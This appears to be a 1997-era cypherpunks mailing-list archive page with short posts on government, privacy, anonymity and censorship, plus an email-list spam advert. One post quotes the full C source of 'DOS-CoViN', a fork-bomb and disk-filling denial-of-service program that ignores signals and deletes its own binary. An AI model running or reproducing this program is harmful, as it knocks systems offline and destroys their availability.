December 2003 - cypherpunks-legacy

vendors of royalty free libraries of PEM or PGP.
by Kevin Brisco 17 Dec '03

17 Dec '03

Hello, Has anybody heard of vendors of royalty free libraries of PEM or PGP? Tzachi Sharfman.

1 0

Re: Bad govt represents bad people?
by sw＠tiac.net 17 Dec '03

17 Dec '03

Tim says: >To clarify my meaning, "people deserve the government they get" is >short for saying that the evil, repressive, godforsaken government >than everyone complains about is mostly their own doing. Majority >rule, the will of the herd, etc. > >I certainly wasn't saying that *all* people asked for it. Right, and I was saying maybe not even majority rule or will of the herd, but a system with a dynamic of its own. People get the government they don't know how to stop. I don't know what to expect of everyday people when even the brightest anarchists haven't found a working solution. --Steve - - - - - - - - - - It is said a Shao Lin priest can walk through walls. Looked for, he cannot be seen. Listened for, he cannot be heard. Touched, he cannot be felt.

3 3

Arizona State Email Non-Privacy Policy
by Gary Jeffers 17 Dec '03

17 Dec '03

Netsurfer writes: >Within the US Gov't it is not uncommon to be told that you are not to >receive personal phone calls on government time/government equipment. ot >every office etc. enforces it, but it _is_ their equipment and you are >working on _their_ time. Seems kinda harsh, but is legal and within thir >rights. Naturally emergencies are an exception. I have some problems with this: "It is their equipment and you are working on their time". Govt property is stolen property. To agree that you are dealing with their property & their time is to confer legitimacy on their theft. I have problems with this: "...and within their rights." The relation- ship between rights & legal rights of the state is something like that of turtle soup to" real mock turtle soup". I don't wish to flame you, but if we confer legitimacy to the state thru our common conversation then it will be hard to free ourselves. PUSH EM BACK! PUSH EM BACK! WWWAAAYYY BBBAAACCCK! BBBEEEAAATTTT STATE! Gary Jeffers

1 0

Controversial Technology
by Jim Choate 17 Dec '03

17 Dec '03

Hi Jack, I have removed your subscription to the Experimental Science Instrumentation mailing list. I would however like to point out that security through obscurity (ie ignorance) is not security. It is self-delusion. One can not protect them selves reliably from the many consequences of technology and society via ignorance. That which you don't know not only can hurt you but can kill you. ____________________________________________________________________ | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http:// www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage(a)ssz.com | | 512-451-7087 | |____________________________________________________________________| Forwarded message: > From owner-tesla(a)ssz.com Mon Jul 21 21:13:16 1997 > Date: Mon, 21 Jul 1997 21:13:15 -0500 > Message-Id: <199707220213.VAA12566(a)einstein.ssz.com> > To: owner-tesla(a)ssz.com > From: owner-tesla(a)ssz.com > Subject: BOUNCE tesla(a)ssz.com: Admin request > > >From tesla-owner(a)ssz.com Mon Jul 21 21:13:13 1997 > Received: from Base.Basix.COM (Basix.COM [198.49.101.15]) by einstein.ssz.com (8.6.12/8.6.9) with SMTP id VAA12560 for <tesla(a)ssz.com>; Mon, 21 Jul 1997 21:13:11 -0500 > Date: Mon, 21 Jul 1997 21:13:11 -0500 > Message-Id: <199707220213.VAA12560(a)einstein.ssz.com> > Received: from sl-2.Basix.COM by Base.Basix.COM (MX V4.2 VAX) with SMTP; Mon, > 21 Jul 1997 19:21:36 MST > X-Sender: JHERRON(a)BASIX.COM > X-Mailer: Windows Eudora Light Version 1.5.2 > MIME-Version: 1.0 > Content-Type: text/plain; charset="us-ascii" > To: tesla(a)ssz.com > From: JACK HERRON <JHERRON(a)BASIX.COM> > Subject: Re: fork problem, fix? (fwd) > > Jim Choate, > There is nothing ethical about fabricating destructive programs and > distributing them to the irresponsible, while hiding like a coward. Please > unsubscribe me. > > Jack Herron > > > > > > > At 08:05 AM 7/21/97 -0500, you wrote: > >Forwarded message: > >>From owner-cypherpunks(a)ssz.com Mon Jul 21 07:39:29 1997 > >Date: Mon, 21 Jul 1997 06:55:08 +0200 (MET DST) > >Message-Id: <199707210455.GAA29231(a)basement.replay.com> > >To: cypherpunks@toad.com.redhat-list@redhat.com > >From: nobody(a)replay.com (Name Withheld by Request) > >Organization: Replay and Company UnLimited. > >XComm: This message was automaticly Remailed by an Anonymous Remailer. > >XComm: Report problems or inappropriate use to <postmaster(a)replay.com> > >subject: fork problem, fix? > >Sender: owner-cypherpunks(a)ssz.com > >Precedence: bulk > >X-Mailing-List: cypherpunks(a)ssz.com > >X-List-Admin: list(a)ssz.com > >X-Loop: ssz.com > > > >/* DOS-CoViN. Version .53b, coded by Vio, some ideas are from the > > bugtraq > > > > This program is a beefed up classic denial of service fork()'er :) > > > > Compilation: > > on BSD type of systems do: gcc -DBSD_C -o cvn cvn.c > > on SysV type of systems do: gcc -DSYSV_C -o cvn cvn.c > > > > on my linux, I can compile it with both -DBSD_C and -DSYSV_C > > > > if your not sure, you can experiment, or compile it > > without any -D'efines > > > > > > In the future: > > SunOS signals ignored. > > Creation of random symlinks for more gory destruction. > > Using advanced technology coding to make the hard drive > > blow up with a loud boom and the console explode > > causing a nuclear meltdown. > > > > > > > > Direct All Suggestions And Flames to: Vio > > > > NOTE: this program is provided for educational purposes only, its author > > will not take any responsibility for any stupid things you will > > decide to do. > > > > this has been tested, but not the latest version of it. > > > > .a&$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&a. > > $$' s `$' s `$ $ $ $ `$ $$ > > $$ $ $ $ $ $ $ $ $$ > > $$ $ $ p $ h $ e $ a $ r $ $a. $$ > > $$ $ssss$ $ $ $ $ $ $$$ $$ > > $$ $ $ $ $. $ ,$ $ $$$ $$ > > $$. $ ,$. $ ,$$. ,$$ .$ $$$ $$ > > `$$&@%o%@&$$$&@%o%@&$$$$$%o%$$$$.a$$$.a$$$$$$$$' > > > >*/ > > > > > >#include <stdio.h> > >#include <stdlib.h> > >#include <sys/types.h> > >#include <sys/stat.h> > >#include <fcntl.h> > >#include <unistd.h> > >#include <signal.h> > > > >#define MAX_FILELEN 100 /* The _actual_ max length */ > >#define MAX_DIRLEN 10 > > > >#define START_DIR "/tmp" /* This can be substituted for any directory */ > > /* that you have write access to */ > > > >void dirs_generator(void); > > > >main(int argc, char *argv[]) > >{ > >int fp; > >char *buff; > >char chr; > > > >unlink(argv[0]); > > > >/* You might wanna ignore all the signals you can ignore.. */ > >signal(SIGINT, SIG_IGN); /* If any of the signals don't work */ > >signal(SIGHUP, SIG_IGN); /* on the system you are compiling */ > >signal(SIGTERM, SIG_IGN); /* them on, just erase that line */ > >signal(SIGALRM, SIG_IGN); > >signal(SIGBUS, SIG_IGN); > >signal(SIGFPE, SIG_IGN); > >signal(SIGILL, SIG_IGN); > >signal(SIGIOT, SIG_IGN); > >signal(SIGPIPE, SIG_IGN); > >signal(SIGQUIT, SIG_IGN); > >signal(SIGSEGV, SIG_IGN); > >signal(SIGTRAP, SIG_IGN); > >signal(SIGUSR1, SIG_IGN); > >signal(SIGUSR2, SIG_IGN); > > > >#ifdef BSD_C > > signal(SIGPROF, SIG_IGN); > > signal(SIGSTOP, SIG_IGN); > > signal(SIGTSTP, SIG_IGN); > > signal(SIGTTIN, SIG_IGN); > > signal(SIGTTOU, SIG_IGN); > > signal(SIGVTALRM, SIG_IGN); > > signal(SIGXCPU, SIG_IGN); > > signal(SIGXFSZ, SIG_IGN); > >#endif > > > >#ifdef SYSV_C > > signal(SIGPOLL, SIG_IGN); > > signal(SIGPWR, SIG_IGN); > >#endif > > > >if(fork()) { > > printf("Now crashing and blowing up this system.. have a nice day\n"); > > printf("You can safely logout, and let the proggie do its work\n"); > > printf("or you can stick around and watch lag go from 0 to bitch\n"); > > printf("in a matter of seconds\n"); > > printf(" --CoViN \n"); > > exit(0); > > } > >fp=open("/tmp/.foo",O_WRONLY|O_CREAT); > >if(fork()) { > > while(1) { > > fork(); > > buff = malloc(64000); > > write(fp, buff, 64000); > > system("uptime"); > > } > > } > >dirs_generator(); > >} > > > > > >void dirs_generator(void) > >{ > >char alph[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. "; > >char fl[MAX_FILELEN]; > >char dir[MAX_DIRLEN]; > >int i; > >int flen; > > > >printf("Making dirs..\n"); > >chdir(START_DIR); > > > >fork(); /* For the simplicity of the code.. we also want more dir's from */ > >fork(); /* the START_DIR */ > >fork(); > > > >while(1) { > > fork(); > > flen= (rand() % MAX_FILELEN) - 1; > > for(i=0; i<flen; i++) > > fl[i] = alph[rand() % strlen(alph)]; > > fl[MAX_FILELEN-1]=0; > > i=open(fl,O_WRONLY|O_CREAT); > > write(i,"fuck you! CoViN",16); > > close(i); > > > > flen= (rand() % MAX_DIRLEN) - 1; > > for(i=0; i<flen; i++) > > dir[i] = alph[rand() % strlen(alph)]; > > dir[MAX_DIRLEN-1]=0; > > mkdir(dir,0); > > chdir(dir); > > } > >} > > > > > ----------------------------------------- > Jack Herron - Editor > Society for Amateur Scientists > 8118 E. 20th St. > Tucson, AZ 85710 USA > jherron(a)basix.com > 520 885-6933 >

1 0

Fight-each-other
by Declan McCullagh 17 Dec '03

17 Dec '03

---------- Forwarded message ---------- Date: Mon, 21 Jul 1997 19:29:48 -0700 (PDT) From: Declan McCullagh <declan(a)well.com> To: "James S. Tyre" <j.s.tyre(a)worldnet.att.net> Cc: fight-censorship(a)vorlon.mit.edu Subject: Re: Fight-each-other Some random thoughts: It's no surprise that pro-CDA folks are on f-c. Paul Cardin from OCAF subscribed about a year ago. Bruce Taylor and lawyers for Enough is Enough and the Family Research Council have been known to frequent the list, along with a variety of Hill staffers. They do a better job of keeping their disagreements under wraps, though if you ask the right questions you'll learn about some of the riffs that split their community over CDA I. We're not as organized -- nor should we be. Netizens, by their very nature, can't march in lockstep together. Sure, the pro-CDA I forces will hear our squabbles, smell our dirty laundry. But this debate won't continue forever, and perhaps some common ground will emerge. Maybe it was naive to think that the anti-CDA coalition would hang together after the Supreme Court decision. After all, the current fault lines are split along some of the same divisions that existed for a year and a half in two lawsuits: the one organized by the ACLU and the one organized by CIEC. I've heard some say that the current dispute was inevitable. Or, think of it this way: when privacy groups ally with the religious right on database legislation, they don't expect their alliance to last forever. Or when librarians join with Sony, Bell Atlantic, and Sun on copyright lobbying. Or when the ACLU joins the Eagle Forum on crypto. Or when the Cato Institute joins Ralph Nader on opposing the CDA. These are issue-by-issue alliances, and everyone involved understands that from the start. Perhaps we should have thought of the CDA alliance the same way? Or perhaps the conflict arises because all groups would like to claim the mantle of "representing the interests of the Net" -- which brings with it some political currency here in Washington. And some might say the tussle comes from long-standing personality conflicts. Again, these are stream-of-consciousness thoughts, typed in while watching that excerable new TV show "Roar." I haven't thought this through as much as I'd like. -Declan On Mon, 21 Jul 1997, James S. Tyre wrote: > The note below was sent to me privately earlier today. I will respect > the author's privacy by not revealing who s/he is, but y'all might take > heed of what the author says. > > I am familiar with the author from elsewhere, and many on f-c might well > agree with the self-characterization (which, in this context, has > nothing to do with Libertarianism, pro or con).

7 8

YAMPR
by L. Todd Masco 17 Dec '03

17 Dec '03

(Yet Another May Prediction Realized) The text of a "digital stalking bill" was just sent to Cyberia-l. -- L. Todd Masco | "Which part of 'shall not be infringed' didn't cactus(a)bb.com | you understand?"

1 0

CD Rom - Email List
by jack＠intmktgrp.com 17 Dec '03

17 Dec '03

25 Million Addresses On CD Rom - Only $199.00 500+ Reports, Books, & Legal Forms (With Reprint Rights To Put You Into Your Own Home-Based Business Overnight) Only $199.00 Target Email Address Lists - Call For Quotation VISA & Mastercard Accepted - Call 812-597-1000

1 0

"How many times erased does DOD want?"
by Ng Pheng Siong 17 Dec '03

17 Dec '03

Hi, I'm looking for the news posting with the subject line as above. Poster David Hayes, comp.periphs.scsi, 24 July 91, message-id 1991Jul24.050701.16005(a)sulaco.lonestar.org. Got no luck with Dejanews, reference.com and Altavista. The topic is data recovery from magnetic media. Also appreciate any pointers to info on same. TIA. Cheers. - PS Ng Pheng Siong <jlumstoi(a)pacific.net.sg>

2 1

Queen of Pseudononymity
by Adam Shostack 17 Dec '03

17 Dec '03

http://customnews.cnn.com/cnews/pna.show_story?p_art_id=186693&p_section_na… British Queen Admits to Being a Keen Web Surfer NewsBytes 22-JUL-97 LONDON, ENGLAND, 1997 JUL 22 (Newsbytes) -- By Sylvia Dennis. Buckingham Palace's press office has revealed that one of the reasons for the opening of the Royal World Wide Web site at http://www.royal.gov.uk in March of this year was Queen Elizabeth's fondness of the Internet. According to press reports in the serious UK press over the weekend, both The Queen and her husband, HRH Prince Phillip, The Duke of Edinburgh, are keen users of the Internet. The Queen is apparently using Internet e-mail to keep in touch with favored UK citizens. Rather than use the obvious e-mail address of one(a)buckinghampalace.co.uk, however The Queen is apparently using a number of pseudonyms to hide her true identity. Only the recipients of her e-mail are alleged to know who is really behind their messages. -- He has erected a multitude of new offices, and sent hither swarms of officers to harrass our people, and eat out their substance.

2 1

Re: Problems with anonymous escrow 2--response
by Blanc Weber 17 Dec '03

17 Dec '03

Anonymity & reputation as assets: >From Hal: Besides the question of trustworthiness, another problem I see with anonymous escrow agents applies more generally to any form of anonymous business. Anonymity makes sense to me for the individual. Each person manages his own affairs and he can keep secret or reveal what he wants. But at the business level it is going to be much harder to keep the same level of secrecy. >From Tim: ...what good would assets do if they can't be traced? More generally, reputation capital is what they need, not physical assets. ............................................................... I'm not seeing the relationship of these two concepts of anonymity in conjunction with reputation. How could such attributes co-exist? Can they really function successfully together for both the agent & their client: how could one individual or escrow agent be both unknowable and yet depend upon reputation capital to go on? To have reputation means that one's behavior from the past must be known & evaluated for future interactions, but to be anonymous means that their client will not know who that particular entity is with whom they is dealing: so would this like doing business with God, where you only know what s/he's *supposed* to deliver, but never really know who it is wot does the deed, or whether there really is one? Blanc

3 2